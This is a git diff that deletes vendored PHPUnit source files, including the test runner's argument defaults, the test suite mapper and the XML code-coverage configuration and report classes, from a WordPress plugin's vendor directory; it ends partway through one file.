$groupConfiguration->include()->asArrayOfStrings(); - } - - if (!isset($arguments['excludeGroups']) && $groupConfiguration->hasExclude()) { - $arguments['excludeGroups'] = array_diff($groupConfiguration->exclude()->asArrayOfStrings(), $groupCliArgs); - } - - if (!isset($arguments['noExtensions'])) { - $extensionHandler = new ExtensionHandler; - - foreach ($arguments['configurationObject']->extensions() as $extension) { - $extensionHandler->registerExtension($extension, $this); - } - - foreach ($arguments['configurationObject']->listeners() as $listener) { - $arguments['listeners'][] = $extensionHandler->createTestListenerInstance($listener); - } - - unset($extensionHandler); - } - - foreach ($arguments['unavailableExtensions'] as $extension) { - $arguments['warnings'][] = sprintf( - 'Extension "%s" is not available', - $extension, - ); - } - - $loggingConfiguration = $arguments['configurationObject']->logging(); - - if (!isset($arguments['noLogging'])) { - if ($loggingConfiguration->hasText()) { - $arguments['listeners'][] = new DefaultResultPrinter( - $loggingConfiguration->text()->target()->path(), - true, - ); - } - - if (!isset($arguments['teamcityLogfile']) && $loggingConfiguration->hasTeamCity()) { - $arguments['teamcityLogfile'] = $loggingConfiguration->teamCity()->target()->path(); - } - - if (!isset($arguments['junitLogfile']) && $loggingConfiguration->hasJunit()) { - $arguments['junitLogfile'] = $loggingConfiguration->junit()->target()->path(); - } - - if (!isset($arguments['testdoxHTMLFile']) && $loggingConfiguration->hasTestDoxHtml()) { - $arguments['testdoxHTMLFile'] = $loggingConfiguration->testDoxHtml()->target()->path(); - } - - if (!isset($arguments['testdoxTextFile']) && $loggingConfiguration->hasTestDoxText()) { - $arguments['testdoxTextFile'] = $loggingConfiguration->testDoxText()->target()->path(); - } - - if (!isset($arguments['testdoxXMLFile']) && $loggingConfiguration->hasTestDoxXml()) { - $arguments['testdoxXMLFile'] = $loggingConfiguration->testDoxXml()->target()->path(); - } - } - - $testdoxGroupConfiguration = $arguments['configurationObject']->testdoxGroups(); - - if (!isset($arguments['testdoxGroups']) && $testdoxGroupConfiguration->hasInclude()) { - $arguments['testdoxGroups'] = $testdoxGroupConfiguration->include()->asArrayOfStrings(); - } - - if (!isset($arguments['testdoxExcludeGroups']) && $testdoxGroupConfiguration->hasExclude()) { - $arguments['testdoxExcludeGroups'] = $testdoxGroupConfiguration->exclude()->asArrayOfStrings(); - } - } - - $extensionHandler = new ExtensionHandler; - - foreach ($arguments['extensions'] as $extension) { - $extensionHandler->registerExtension($extension, $this); - } - - unset($extensionHandler); - - $arguments['backupGlobals'] = $arguments['backupGlobals'] ?? null; - $arguments['backupStaticAttributes'] = $arguments['backupStaticAttributes'] ?? null; - $arguments['beStrictAboutChangesToGlobalState'] = $arguments['beStrictAboutChangesToGlobalState'] ?? null; - $arguments['beStrictAboutResourceUsageDuringSmallTests'] = $arguments['beStrictAboutResourceUsageDuringSmallTests'] ?? false; - $arguments['cacheResult'] = $arguments['cacheResult'] ?? true; - $arguments['colors'] = $arguments['colors'] ?? DefaultResultPrinter::COLOR_DEFAULT; - $arguments['columns'] = $arguments['columns'] ?? 80; - $arguments['convertDeprecationsToExceptions'] = $arguments['convertDeprecationsToExceptions'] ?? false; - $arguments['convertErrorsToExceptions'] = $arguments['convertErrorsToExceptions'] ?? true; - $arguments['convertNoticesToExceptions'] = $arguments['convertNoticesToExceptions'] ?? true; - $arguments['convertWarningsToExceptions'] = $arguments['convertWarningsToExceptions'] ?? true; - $arguments['crap4jThreshold'] = $arguments['crap4jThreshold'] ?? 30; - $arguments['disallowTestOutput'] = $arguments['disallowTestOutput'] ?? false; - $arguments['disallowTodoAnnotatedTests'] = $arguments['disallowTodoAnnotatedTests'] ?? false; - $arguments['defaultTimeLimit'] = $arguments['defaultTimeLimit'] ?? 0; - $arguments['enforceTimeLimit'] = $arguments['enforceTimeLimit'] ?? false; - $arguments['excludeGroups'] = $arguments['excludeGroups'] ?? []; - $arguments['executionOrder'] = $arguments['executionOrder'] ?? TestSuiteSorter::ORDER_DEFAULT; - $arguments['executionOrderDefects'] = $arguments['executionOrderDefects'] ?? TestSuiteSorter::ORDER_DEFAULT; - $arguments['failOnIncomplete'] = $arguments['failOnIncomplete'] ?? false; - $arguments['failOnRisky'] = $arguments['failOnRisky'] ?? false; - $arguments['failOnSkipped'] = $arguments['failOnSkipped'] ?? false; - $arguments['failOnWarning'] = $arguments['failOnWarning'] ?? false; - $arguments['groups'] = $arguments['groups'] ?? []; - $arguments['noInteraction'] = $arguments['noInteraction'] ?? false; - $arguments['processIsolation'] = $arguments['processIsolation'] ?? false; - $arguments['randomOrderSeed'] = $arguments['randomOrderSeed'] ?? time(); - $arguments['registerMockObjectsFromTestArgumentsRecursively'] = $arguments['registerMockObjectsFromTestArgumentsRecursively'] ?? false; - $arguments['repeat'] = $arguments['repeat'] ?? false; - $arguments['reportHighLowerBound'] = $arguments['reportHighLowerBound'] ?? 90; - $arguments['reportLowUpperBound'] = $arguments['reportLowUpperBound'] ?? 50; - $arguments['reportUselessTests'] = $arguments['reportUselessTests'] ?? true; - $arguments['reverseList'] = $arguments['reverseList'] ?? false; - $arguments['resolveDependencies'] = $arguments['resolveDependencies'] ?? true; - $arguments['stopOnError'] = $arguments['stopOnError'] ?? false; - $arguments['stopOnFailure'] = $arguments['stopOnFailure'] ?? false; - $arguments['stopOnIncomplete'] = $arguments['stopOnIncomplete'] ?? false; - $arguments['stopOnRisky'] = $arguments['stopOnRisky'] ?? false; - $arguments['stopOnSkipped'] = $arguments['stopOnSkipped'] ?? false; - $arguments['stopOnWarning'] = $arguments['stopOnWarning'] ?? false; - $arguments['stopOnDefect'] = $arguments['stopOnDefect'] ?? false; - $arguments['strictCoverage'] = $arguments['strictCoverage'] ?? false; - $arguments['testdoxExcludeGroups'] = $arguments['testdoxExcludeGroups'] ?? []; - $arguments['testdoxGroups'] = $arguments['testdoxGroups'] ?? []; - $arguments['timeoutForLargeTests'] = $arguments['timeoutForLargeTests'] ?? 60; - $arguments['timeoutForMediumTests'] = $arguments['timeoutForMediumTests'] ?? 10; - $arguments['timeoutForSmallTests'] = $arguments['timeoutForSmallTests'] ?? 1; - $arguments['verbose'] = $arguments['verbose'] ?? false; - - if ($arguments['reportLowUpperBound'] > $arguments['reportHighLowerBound']) { - $arguments['reportLowUpperBound'] = 50; - $arguments['reportHighLowerBound'] = 90; - } - } - - private function processSuiteFilters(TestSuite $suite, array $arguments): void - { - if (!$arguments['filter'] && - empty($arguments['groups']) && - empty($arguments['excludeGroups']) && - empty($arguments['testsCovering']) && - empty($arguments['testsUsing'])) { - return; - } - - $filterFactory = new Factory; - - if (!empty($arguments['excludeGroups'])) { - $filterFactory->addFilter( - new ReflectionClass(ExcludeGroupFilterIterator::class), - $arguments['excludeGroups'], - ); - } - - if (!empty($arguments['groups'])) { - $filterFactory->addFilter( - new ReflectionClass(IncludeGroupFilterIterator::class), - $arguments['groups'], - ); - } - - if (!empty($arguments['testsCovering'])) { - $filterFactory->addFilter( - new ReflectionClass(IncludeGroupFilterIterator::class), - array_map( - static function (string $name): string - { - return '__phpunit_covers_' . $name; - }, - $arguments['testsCovering'], - ), - ); - } - - if (!empty($arguments['testsUsing'])) { - $filterFactory->addFilter( - new ReflectionClass(IncludeGroupFilterIterator::class), - array_map( - static function (string $name): string - { - return '__phpunit_uses_' . $name; - }, - $arguments['testsUsing'], - ), - ); - } - - if ($arguments['filter']) { - $filterFactory->addFilter( - new ReflectionClass(NameFilterIterator::class), - $arguments['filter'], - ); - } - - $suite->injectFilter($filterFactory); - } - - private function writeMessage(string $type, string $message): void - { - if (!$this->messagePrinted) { - $this->write("\n"); - } - - $this->write( - sprintf( - "%-15s%s\n", - $type . ':', - $message, - ), - ); - - $this->messagePrinted = true; - } - - private function createPrinter(string $class, array $arguments): ResultPrinter - { - $object = new $class( - (isset($arguments['stderr']) && $arguments['stderr'] === true) ? 'php://stderr' : null, - $arguments['verbose'], - $arguments['colors'], - $arguments['debug'], - $arguments['columns'], - $arguments['reverseList'], - ); - - assert($object instanceof ResultPrinter); - - return $object; - } - - private function codeCoverageGenerationStart(string $format): void - { - $this->write( - sprintf( - "\nGenerating code coverage report in %s format ... ", - $format, - ), - ); - - $this->timer->start(); - } - - private function codeCoverageGenerationSucceeded(): void - { - $this->write( - sprintf( - "done [%s]\n", - $this->timer->stop()->asString(), - ), - ); - } - - private function codeCoverageGenerationFailed(\Exception $e): void - { - $this->write( - sprintf( - "failed [%s]\n%s\n", - $this->timer->stop()->asString(), - $e->getMessage(), - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestSuiteMapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestSuiteMapper.php deleted file mode 100644 index a0ea593a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestSuiteMapper.php +++ /dev/null @@ -1,103 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use const PHP_VERSION; -use function explode; -use function in_array; -use function is_dir; -use function is_file; -use function strpos; -use function version_compare; -use PHPUnit\Framework\Exception as FrameworkException; -use PHPUnit\Framework\TestSuite as TestSuiteObject; -use PHPUnit\TextUI\XmlConfiguration\TestSuiteCollection; -use SebastianBergmann\FileIterator\Facade; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestSuiteMapper -{ - /** - * @throws RuntimeException - * @throws TestDirectoryNotFoundException - * @throws TestFileNotFoundException - */ - public function map(TestSuiteCollection $configuration, string $filter): TestSuiteObject - { - try { - $filterAsArray = $filter ? explode(',', $filter) : []; - $result = new TestSuiteObject; - - foreach ($configuration as $testSuiteConfiguration) { - if (!empty($filterAsArray) && !in_array($testSuiteConfiguration->name(), $filterAsArray, true)) { - continue; - } - - $testSuite = new TestSuiteObject($testSuiteConfiguration->name()); - $testSuiteEmpty = true; - - $exclude = []; - - foreach ($testSuiteConfiguration->exclude()->asArray() as $file) { - $exclude[] = $file->path(); - } - - foreach ($testSuiteConfiguration->directories() as $directory) { - if (!version_compare(PHP_VERSION, $directory->phpVersion(), $directory->phpVersionOperator()->asString())) { - continue; - } - - $files = (new Facade)->getFilesAsArray( - $directory->path(), - $directory->suffix(), - $directory->prefix(), - $exclude, - ); - - if (!empty($files)) { - $testSuite->addTestFiles($files); - - $testSuiteEmpty = false; - } elseif (strpos($directory->path(), '*') === false && !is_dir($directory->path())) { - throw new TestDirectoryNotFoundException($directory->path()); - } - } - - foreach ($testSuiteConfiguration->files() as $file) { - if (!is_file($file->path())) { - throw new TestFileNotFoundException($file->path()); - } - - if (!version_compare(PHP_VERSION, $file->phpVersion(), $file->phpVersionOperator()->asString())) { - continue; - } - - $testSuite->addTestFile($file->path()); - - $testSuiteEmpty = false; - } - - if (!$testSuiteEmpty) { - $result->addTest($testSuite); - } - } - - return $result; - } catch (FrameworkException $e) { - throw new RuntimeException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php deleted file mode 100644 index 191113c6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php +++ /dev/null @@ -1,363 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage; - -use function count; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter\DirectoryCollection; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Clover; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Cobertura; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Crap4j; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Html; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Php; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Text; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Xml; -use PHPUnit\TextUI\XmlConfiguration\Directory; -use PHPUnit\TextUI\XmlConfiguration\Exception; -use PHPUnit\TextUI\XmlConfiguration\FileCollection; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class CodeCoverage -{ - /** - * @var ?Directory - */ - private $cacheDirectory; - - /** - * @var DirectoryCollection - */ - private $directories; - - /** - * @var FileCollection - */ - private $files; - - /** - * @var DirectoryCollection - */ - private $excludeDirectories; - - /** - * @var FileCollection - */ - private $excludeFiles; - - /** - * @var bool - */ - private $pathCoverage; - - /** - * @var bool - */ - private $includeUncoveredFiles; - - /** - * @var bool - */ - private $processUncoveredFiles; - - /** - * @var bool - */ - private $ignoreDeprecatedCodeUnits; - - /** - * @var bool - */ - private $disableCodeCoverageIgnore; - - /** - * @var ?Clover - */ - private $clover; - - /** - * @var ?Cobertura - */ - private $cobertura; - - /** - * @var ?Crap4j - */ - private $crap4j; - - /** - * @var ?Html - */ - private $html; - - /** - * @var ?Php - */ - private $php; - - /** - * @var ?Text - */ - private $text; - - /** - * @var ?Xml - */ - private $xml; - - public function __construct(?Directory $cacheDirectory, DirectoryCollection $directories, FileCollection $files, DirectoryCollection $excludeDirectories, FileCollection $excludeFiles, bool $pathCoverage, bool $includeUncoveredFiles, bool $processUncoveredFiles, bool $ignoreDeprecatedCodeUnits, bool $disableCodeCoverageIgnore, ?Clover $clover, ?Cobertura $cobertura, ?Crap4j $crap4j, ?Html $html, ?Php $php, ?Text $text, ?Xml $xml) - { - $this->cacheDirectory = $cacheDirectory; - $this->directories = $directories; - $this->files = $files; - $this->excludeDirectories = $excludeDirectories; - $this->excludeFiles = $excludeFiles; - $this->pathCoverage = $pathCoverage; - $this->includeUncoveredFiles = $includeUncoveredFiles; - $this->processUncoveredFiles = $processUncoveredFiles; - $this->ignoreDeprecatedCodeUnits = $ignoreDeprecatedCodeUnits; - $this->disableCodeCoverageIgnore = $disableCodeCoverageIgnore; - $this->clover = $clover; - $this->cobertura = $cobertura; - $this->crap4j = $crap4j; - $this->html = $html; - $this->php = $php; - $this->text = $text; - $this->xml = $xml; - } - - /** - * @psalm-assert-if-true !null $this->cacheDirectory - */ - public function hasCacheDirectory(): bool - { - return $this->cacheDirectory !== null; - } - - /** - * @throws Exception - */ - public function cacheDirectory(): Directory - { - if (!$this->hasCacheDirectory()) { - throw new Exception( - 'No cache directory has been configured', - ); - } - - return $this->cacheDirectory; - } - - public function hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport(): bool - { - return count($this->directories) > 0 || count($this->files) > 0; - } - - public function directories(): DirectoryCollection - { - return $this->directories; - } - - public function files(): FileCollection - { - return $this->files; - } - - public function excludeDirectories(): DirectoryCollection - { - return $this->excludeDirectories; - } - - public function excludeFiles(): FileCollection - { - return $this->excludeFiles; - } - - public function pathCoverage(): bool - { - return $this->pathCoverage; - } - - public function includeUncoveredFiles(): bool - { - return $this->includeUncoveredFiles; - } - - public function ignoreDeprecatedCodeUnits(): bool - { - return $this->ignoreDeprecatedCodeUnits; - } - - public function disableCodeCoverageIgnore(): bool - { - return $this->disableCodeCoverageIgnore; - } - - public function processUncoveredFiles(): bool - { - return $this->processUncoveredFiles; - } - - /** - * @psalm-assert-if-true !null $this->clover - */ - public function hasClover(): bool - { - return $this->clover !== null; - } - - /** - * @throws Exception - */ - public function clover(): Clover - { - if (!$this->hasClover()) { - throw new Exception( - 'Code Coverage report "Clover XML" has not been configured', - ); - } - - return $this->clover; - } - - /** - * @psalm-assert-if-true !null $this->cobertura - */ - public function hasCobertura(): bool - { - return $this->cobertura !== null; - } - - /** - * @throws Exception - */ - public function cobertura(): Cobertura - { - if (!$this->hasCobertura()) { - throw new Exception( - 'Code Coverage report "Cobertura XML" has not been configured', - ); - } - - return $this->cobertura; - } - - /** - * @psalm-assert-if-true !null $this->crap4j - */ - public function hasCrap4j(): bool - { - return $this->crap4j !== null; - } - - /** - * @throws Exception - */ - public function crap4j(): Crap4j - { - if (!$this->hasCrap4j()) { - throw new Exception( - 'Code Coverage report "Crap4J" has not been configured', - ); - } - - return $this->crap4j; - } - - /** - * @psalm-assert-if-true !null $this->html - */ - public function hasHtml(): bool - { - return $this->html !== null; - } - - /** - * @throws Exception - */ - public function html(): Html - { - if (!$this->hasHtml()) { - throw new Exception( - 'Code Coverage report "HTML" has not been configured', - ); - } - - return $this->html; - } - - /** - * @psalm-assert-if-true !null $this->php - */ - public function hasPhp(): bool - { - return $this->php !== null; - } - - /** - * @throws Exception - */ - public function php(): Php - { - if (!$this->hasPhp()) { - throw new Exception( - 'Code Coverage report "PHP" has not been configured', - ); - } - - return $this->php; - } - - /** - * @psalm-assert-if-true !null $this->text - */ - public function hasText(): bool - { - return $this->text !== null; - } - - /** - * @throws Exception - */ - public function text(): Text - { - if (!$this->hasText()) { - throw new Exception( - 'Code Coverage report "Text" has not been configured', - ); - } - - return $this->text; - } - - /** - * @psalm-assert-if-true !null $this->xml - */ - public function hasXml(): bool - { - return $this->xml !== null; - } - - /** - * @throws Exception - */ - public function xml(): Xml - { - if (!$this->hasXml()) { - throw new Exception( - 'Code Coverage report "XML" has not been configured', - ); - } - - return $this->xml; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php deleted file mode 100644 index 91659f4d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php +++ /dev/null @@ -1,66 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Directory -{ - /** - * @var string - */ - private $path; - - /** - * @var string - */ - private $prefix; - - /** - * @var string - */ - private $suffix; - - /** - * @var string - */ - private $group; - - public function __construct(string $path, string $prefix, string $suffix, string $group) - { - $this->path = $path; - $this->prefix = $prefix; - $this->suffix = $suffix; - $this->group = $group; - } - - public function path(): string - { - return $this->path; - } - - public function prefix(): string - { - return $this->prefix; - } - - public function suffix(): string - { - return $this->suffix; - } - - public function group(): string - { - return $this->group; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php deleted file mode 100644 index 88ec1e38..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php +++ /dev/null @@ -1,60 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class DirectoryCollection implements Countable, IteratorAggregate -{ - /** - * @var Directory[] - */ - private $directories; - - /** - * @param Directory[] $directories - */ - public static function fromArray(array $directories): self - { - return new self(...$directories); - } - - private function __construct(Directory ...$directories) - { - $this->directories = $directories; - } - - /** - * @return Directory[] - */ - public function asArray(): array - { - return $this->directories; - } - - public function count(): int - { - return count($this->directories); - } - - public function getIterator(): DirectoryCollectionIterator - { - return new DirectoryCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php deleted file mode 100644 index f2fee25d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class DirectoryCollectionIterator implements Countable, Iterator -{ - /** - * @var Directory[] - */ - private $directories; - - /** - * @var int - */ - private $position; - - public function __construct(DirectoryCollection $directories) - { - $this->directories = $directories->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->directories); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Directory - { - return $this->directories[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php deleted file mode 100644 index 82be6032..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php +++ /dev/null @@ -1,45 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage; - -use SebastianBergmann\CodeCoverage\Filter; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class FilterMapper -{ - public function map(Filter $filter, CodeCoverage $configuration): void - { - foreach ($configuration->directories() as $directory) { - $filter->includeDirectory( - $directory->path(), - $directory->suffix(), - $directory->prefix(), - ); - } - - foreach ($configuration->files() as $file) { - $filter->includeFile($file->path()); - } - - foreach ($configuration->excludeDirectories() as $directory) { - $filter->excludeDirectory( - $directory->path(), - $directory->suffix(), - $directory->prefix(), - ); - } - - foreach ($configuration->excludeFiles() as $file) { - $filter->excludeFile($file->path()); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php deleted file mode 100644 index b1094ec3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Clover -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php deleted file mode 100644 index f831ac09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Cobertura -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php deleted file mode 100644 index 4904775d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php +++ /dev/null @@ -1,46 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Crap4j -{ - /** - * @var File - */ - private $target; - - /** - * @var int - */ - private $threshold; - - public function __construct(File $target, int $threshold) - { - $this->target = $target; - $this->threshold = $threshold; - } - - public function target(): File - { - return $this->target; - } - - public function threshold(): int - { - return $this->threshold; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php deleted file mode 100644 index ce3d0284..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php +++ /dev/null @@ -1,57 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; - -use PHPUnit\TextUI\XmlConfiguration\Directory; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Html -{ - /** - * @var Directory - */ - private $target; - - /** - * @var int - */ - private $lowUpperBound; - - /** - * @var int - */ - private $highLowerBound; - - public function __construct(Directory $target, int $lowUpperBound, int $highLowerBound) - { - $this->target = $target; - $this->lowUpperBound = $lowUpperBound; - $this->highLowerBound = $highLowerBound; - } - - public function target(): Directory - { - return $this->target; - } - - public function lowUpperBound(): int - { - return $this->lowUpperBound; - } - - public function highLowerBound(): int - { - return $this->highLowerBound; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php deleted file mode 100644 index dc5d32ea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Php -{ - /** - * @var File - */ - private $target; - - public function __construct(File $target) - { - $this->target = $target; - } - - public function target(): File - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php deleted file mode 100644 index cb7470d3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php +++ /dev/null @@ -1,57 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; - -use PHPUnit\TextUI\XmlConfiguration\File; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Text -{ - /** - * @var File - */ - private $target; - - /** - * @var bool - */ - private $showUncoveredFiles; - - /** - * @var bool - */ - private $showOnlySummary; - - public function __construct(File $target, bool $showUncoveredFiles, bool $showOnlySummary) - { - $this->target = $target; - $this->showUncoveredFiles = $showUncoveredFiles; - $this->showOnlySummary = $showOnlySummary; - } - - public function target(): File - { - return $this->target; - } - - public function 